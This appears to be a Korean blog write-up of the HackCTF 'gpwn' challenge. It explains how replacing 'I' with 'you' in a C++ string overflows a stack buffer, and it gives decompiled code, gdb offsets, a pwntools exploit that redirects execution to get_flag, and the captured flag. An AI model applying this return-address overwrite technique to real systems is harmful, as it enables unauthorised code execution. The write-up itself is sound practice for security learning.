[문제]


[풀이]

  • 32bit 바이너리
  • 카나리 없음
  • NX bit 존재
  • PIE 있음

 

바이너리 실행

  • 사용자로부터 입력받음

 

IDA 분석 - main 함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln();
  return 0;
}
  • vuln 함수 호출

 

IDA 분석 - vuln 함수

int vuln()
{
  const char *v0; // eax@1
  char s; // [esp+1Ch] [ebp-3Ch]@1
  char v3; // [esp+3Ch] [ebp-1Ch]@1
  char v4; // [esp+40h] [ebp-18h]@1
  char v5; // [esp+47h] [ebp-11h]@1
  char v6; // [esp+48h] [ebp-10h]@1
  char v7; // [esp+4Fh] [ebp-9h]@1

  printf("Tell me something about yourself: ");
  fgets(&s, 32, edata);
  std::string::operator=(&input, &s);
  std::allocator<char>::allocator(&v5);
  std::string::string(&v4, "you", &v5);
  std::allocator<char>::allocator(&v7);
  std::string::string(&v6, "I", &v7);
  replace((std::string *)&v3);
  std::string::operator=(&input, &v3, &v6, &v4);
  std::string::~string((std::string *)&v3);
  std::string::~string((std::string *)&v6);
  std::allocator<char>::~allocator(&v7);
  std::string::~string((std::string *)&v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(&s, v0);
  return printf("So, %s\\n", &s);
}
  • 사용자의 입력을 받아 출력
  • I와 you 사이에서 replace 함수를 호출함
  • 입력 값이 I면 you로 치환

  • fgets 함수로 사용자의 입력을 32byte 만큼 받아 BOF 발생X
  • 그러나 I가 you로 치환되는 점을 생각하면 BOF를 발생시킬 수 있음 → I만 12번 입력하면 you x 12으로 36 byte 입력되며 BOF를 발생시키지만 사용자는 추가로 10byte만큼 더 입력할 수 있음

 

IDA 분석 - replace 함수

std::string *__stdcall replace(std::string *a1, std::string *a2, std::string *a3)
{
  int v4; // [esp+Ch] [ebp-4Ch]@0
  char v5; // [esp+10h] [ebp-48h]@2
  char v6; // [esp+14h] [ebp-44h]@2
  char v7; // [esp+1Bh] [ebp-3Dh]@2
  int v8; // [esp+1Ch] [ebp-3Ch]@2
  char v9; // [esp+20h] [ebp-38h]@2
  int v10; // [esp+24h] [ebp-34h]@2
  int v11; // [esp+28h] [ebp-30h]@2
  char v12; // [esp+2Fh] [ebp-29h]@2
  int v13; // [esp+30h] [ebp-28h]@2
  int v14; // [esp+34h] [ebp-24h]@2
  char v15; // [esp+38h] [ebp-20h]@2
  int v16; // [esp+3Ch] [ebp-1Ch]@2
  char v17; // [esp+40h] [ebp-18h]@2
  int v18; // [esp+44h] [ebp-14h]@2
  char v19; // [esp+48h] [ebp-10h]@2
  char v20; // [esp+4Ch] [ebp-Ch]@2

  while ( std::string::find(a2, a3, 0) != -1 )
  {
    std::allocator<char>::allocator(&v7);
    v8 = std::string::find(a2, a3, 0);
    std::string::begin((std::string *)&v9);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v10);
    std::string::begin((std::string *)&v11);
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(&v6, v11, v10, &v7);
    std::allocator<char>::~allocator(&v7);
    std::allocator<char>::allocator(&v12);
    std::string::end((std::string *)&v13);
    v14 = std::string::length(a3);
    v16 = std::string::find(a2, a3, 0);
    std::string::begin((std::string *)&v17);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v15);
    __gnu_cxx::__normal_iterator<char *,std::string>::operator+(&v18);
    std::string::string<__gnu_cxx::__normal_iterator<char *,std::string>>(&v5, v18, v13, &v12);
    std::allocator<char>::~allocator(&v12);
    std::operator+<char,std::char_traits<char>,std::allocator<char>>((std::string *)&v20);
    std::operator+<char,std::char_traits<char>,std::allocator<char>>((std::string *)&v19);
    std::string::operator=(a2, &v19, &v5, v4);
    std::string::~string((std::string *)&v19);
    std::string::~string((std::string *)&v20);
    std::string::~string((std::string *)&v5);
    std::string::~string((std::string *)&v6);
  }
  std::string::string(a1, a2);
  return a1;
}

 

IDA 분석 - get_flag 함수

int get_flag()
{
  return system("cat flag.txt");
}
  • flag 획득할 수 있음

 

gdb 분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x08048e10  _start
0x08048e40  __x86.get_pc_thunk.bx
0x08048e50  deregister_tm_clones
0x08048e80  register_tm_clones
0x08048ec0  __do_global_dtors_aux
0x08048ee0  frame_dummy
0x08048f0d  get_flag
0x08048f21  replace
0x080491af  vuln
0x0804932d  main
  • main: 0x0804932d
  • vuln offset: 0x080491af
  • replace offset: 0x08048f21
  • get_flag offset: 0x08048f0d

 

gdb 분석 - select_func 함수

pwndbg> disass vuln
Dump of assembler code for function vuln:
   0x080491af <+0>:	push   ebp
   0x080491b0 <+1>:	mov    ebp,esp
   0x080491b2 <+3>:	push   ebx
   0x080491b3 <+4>:	sub    esp,0x54
   0x080491b6 <+7>:	mov    DWORD PTR [esp],0x8049800
   0x080491bd <+14>:	call   0x8048d20 <printf@plt>
   0x080491c2 <+19>:	mov    eax,ds:0x804b0a4
   0x080491c7 <+24>:	mov    DWORD PTR [esp+0x8],eax
   0x080491cb <+28>:	mov    DWORD PTR [esp+0x4],0x20
   0x080491d3 <+36>:	lea    eax,[ebp-0x3c]
   0x080491d6 <+39>:	mov    DWORD PTR [esp],eax
   0x080491d9 <+42>:	call   0x8048c70 <fgets@plt>
   0x080491de <+47>:	lea    eax,[ebp-0x3c]
   0x080491e1 <+50>:	mov    DWORD PTR [esp+0x4],eax
   0x080491e5 <+54>:	mov    DWORD PTR [esp],0x804b0ac
   0x080491ec <+61>:	call   0x8048bd0 <_ZNSsaSEPKc@plt>
   0x080491f1 <+66>:	lea    eax,[ebp-0x11]
   0x080491f4 <+69>:	mov    DWORD PTR [esp],eax
   0x080491f7 <+72>:	call   0x8048d90 <_ZNSaIcEC1Ev@plt>
   0x080491fc <+77>:	lea    eax,[ebp-0x11]
   0x080491ff <+80>:	mov    DWORD PTR [esp+0x8],eax
   0x08049203 <+84>:	mov    DWORD PTR [esp+0x4],0x8049823
   0x0804920b <+92>:	lea    eax,[ebp-0x18]
   0x0804920e <+95>:	mov    DWORD PTR [esp],eax
   0x08049211 <+98>:	call   0x8048d00 <_ZNSsC1EPKcRKSaIcE@plt>
   0x08049216 <+103>:	lea    eax,[ebp-0x9]
   0x08049219 <+106>:	mov    DWORD PTR [esp],eax
   0x0804921c <+109>:	call   0x8048d90 <_ZNSaIcEC1Ev@plt>
   0x08049221 <+114>:	lea    eax,[ebp-0x9]
   0x08049224 <+117>:	mov    DWORD PTR [esp+0x8],eax
   0x08049228 <+121>:	mov    DWORD PTR [esp+0x4],0x8049827
   0x08049230 <+129>:	lea    eax,[ebp-0x10]
   0x08049233 <+132>:	mov    DWORD PTR [esp],eax
   0x08049236 <+135>:	call   0x8048d00 <_ZNSsC1EPKcRKSaIcE@plt>
   0x0804923b <+140>:	lea    eax,[ebp-0x1c]
   0x0804923e <+143>:	lea    edx,[ebp-0x18]
   0x08049241 <+146>:	mov    DWORD PTR [esp+0xc],edx
   0x08049245 <+150>:	lea    edx,[ebp-0x10]
   0x08049248 <+153>:	mov    DWORD PTR [esp+0x8],edx
   0x0804924c <+157>:	mov    DWORD PTR [esp+0x4],0x804b0ac
   0x08049254 <+165>:	mov    DWORD PTR [esp],eax
   0x08049257 <+168>:	call   0x8048f21 <replace>
   0x0804925c <+173>:	sub    esp,0x4
   0x0804925f <+176>:	lea    eax,[ebp-0x1c]
   0x08049262 <+179>:	mov    DWORD PTR [esp+0x4],eax
   0x08049266 <+183>:	mov    DWORD PTR [esp],0x804b0ac
   0x0804926d <+190>:	call   0x8048df0 <_ZNSsaSERKSs@plt>
   0x08049272 <+195>:	lea    eax,[ebp-0x1c]
   0x08049275 <+198>:	mov    DWORD PTR [esp],eax
   0x08049278 <+201>:	call   0x8048cd0 <_ZNSsD1Ev@plt>
   0x0804927d <+206>:	lea    eax,[ebp-0x10]
   0x08049280 <+209>:	mov    DWORD PTR [esp],eax
   0x08049283 <+212>:	call   0x8048cd0 <_ZNSsD1Ev@plt>
   0x08049288 <+217>:	lea    eax,[ebp-0x9]
   0x0804928b <+220>:	mov    DWORD PTR [esp],eax
   0x0804928e <+223>:	call   0x8048d40 <_ZNSaIcED1Ev@plt>
   0x08049293 <+228>:	lea    eax,[ebp-0x18]
   0x08049296 <+231>:	mov    DWORD PTR [esp],eax
   0x08049299 <+234>:	call   0x8048cd0 <_ZNSsD1Ev@plt>
   0x0804929e <+239>:	lea    eax,[ebp-0x11]
   0x080492a1 <+242>:	mov    DWORD PTR [esp],eax
   0x080492a4 <+245>:	call   0x8048d40 <_ZNSaIcED1Ev@plt>
   0x080492a9 <+250>:	mov    DWORD PTR [esp],0x804b0ac
   0x080492b0 <+257>:	call   0x8048c10 <_ZNKSs5c_strEv@plt>
   0x080492b5 <+262>:	mov    DWORD PTR [esp+0x4],eax
   0x080492b9 <+266>:	lea    eax,[ebp-0x3c]
   0x080492bc <+269>:	mov    DWORD PTR [esp],eax
   0x080492bf <+272>:	call   0x8048d10 <strcpy@plt>
   0x080492c4 <+277>:	lea    eax,[ebp-0x3c]
   0x080492c7 <+280>:	mov    DWORD PTR [esp+0x4],eax
   0x080492cb <+284>:	mov    DWORD PTR [esp],0x8049829
   0x080492d2 <+291>:	call   0x8048d20 <printf@plt>
   0x080492d7 <+296>:	jmp    0x8049328 <vuln+377>
   0x080492d9 <+298>:	mov    ebx,eax
   0x080492db <+300>:	lea    eax,[ebp-0x1c]
   0x080492de <+303>:	mov    DWORD PTR [esp],eax
   0x080492e1 <+306>:	call   0x8048cd0 <_ZNSsD1Ev@plt>
   0x080492e6 <+311>:	jmp    0x80492ea <vuln+315>
   0x080492e8 <+313>:	mov    ebx,eax
   0x080492ea <+315>:	lea    eax,[ebp-0x10]
   0x080492ed <+318>:	mov    DWORD PTR [esp],eax
   0x080492f0 <+321>:	call   0x8048cd0 <_ZNSsD1Ev@plt>
   0x080492f5 <+326>:	jmp    0x80492f9 <vuln+330>
   0x080492f7 <+328>:	mov    ebx,eax
   0x080492f9 <+330>:	lea    eax,[ebp-0x9]
   0x080492fc <+333>:	mov    DWORD PTR [esp],eax
   0x080492ff <+336>:	call   0x8048d40 <_ZNSaIcED1Ev@plt>
   0x08049304 <+341>:	lea    eax,[ebp-0x18]
   0x08049307 <+344>:	mov    DWORD PTR [esp],eax
   0x0804930a <+347>:	call   0x8048cd0 <_ZNSsD1Ev@plt>
   0x0804930f <+352>:	jmp    0x8049313 <vuln+356>
   0x08049311 <+354>:	mov    ebx,eax
   0x08049313 <+356>:	lea    eax,[ebp-0x11]
   0x08049316 <+359>:	mov    DWORD PTR [esp],eax
   0x08049319 <+362>:	call   0x8048d40 <_ZNSaIcED1Ev@plt>
   0x0804931e <+367>:	mov    eax,ebx
   0x08049320 <+369>:	mov    DWORD PTR [esp],eax
   0x08049323 <+372>:	call   0x8048dd0 <_Unwind_Resume@plt>
   0x08049328 <+377>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x0804932b <+380>:	leave  
   0x0804932c <+381>:	ret    
End of assembler dump.
  • vuln+42 부분에서 사용자의 입력을 받음
  • vuln+42에 bp 걸어 임의의 입력 값 입력

  • 사용자의 입력은 0xffffd00c에 저장

  • 0xffffd04c에서 main+11 발견
  • 사용자의 입력~0xffffd04c까지의 offset = 64(0x40)

 

문제 해결

💡 dummy(64) + get_flag_Address
  • I * 20 → you * 20 → 60byte입력/추가 4byte만큼 dummy 입력
    I(20byte) + dummy(4byte) + get_flag(4byte)

 

Python2

from pwn import *

p = remote("ctf.j0n9hyun.xyz",3011)
e = ELF("./gpwn")
get_flag = e.symbols['get_flag']

payload = "I" *20
payload += "A" *4
payload += p32(get_flag)

#p.recvuntil(": ") 문자열 받는 데에 시간이 걸려서 주석처리 해줘야함
p.sendline(payload)
p.interactive()


flag

🍒  HackCTF{It's_e4si3r_th4n_y0u_th1nk!}

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Yes or no  (0) 2022.10.30
[HackCTF] RTL_World  (0) 2022.10.30
[HackCTF] Poet  (0) 2022.10.30
[HackCTF] 1996  (0) 2022.10.30
[HackCTF] Random key  (0) 2022.10.30

+ Recent posts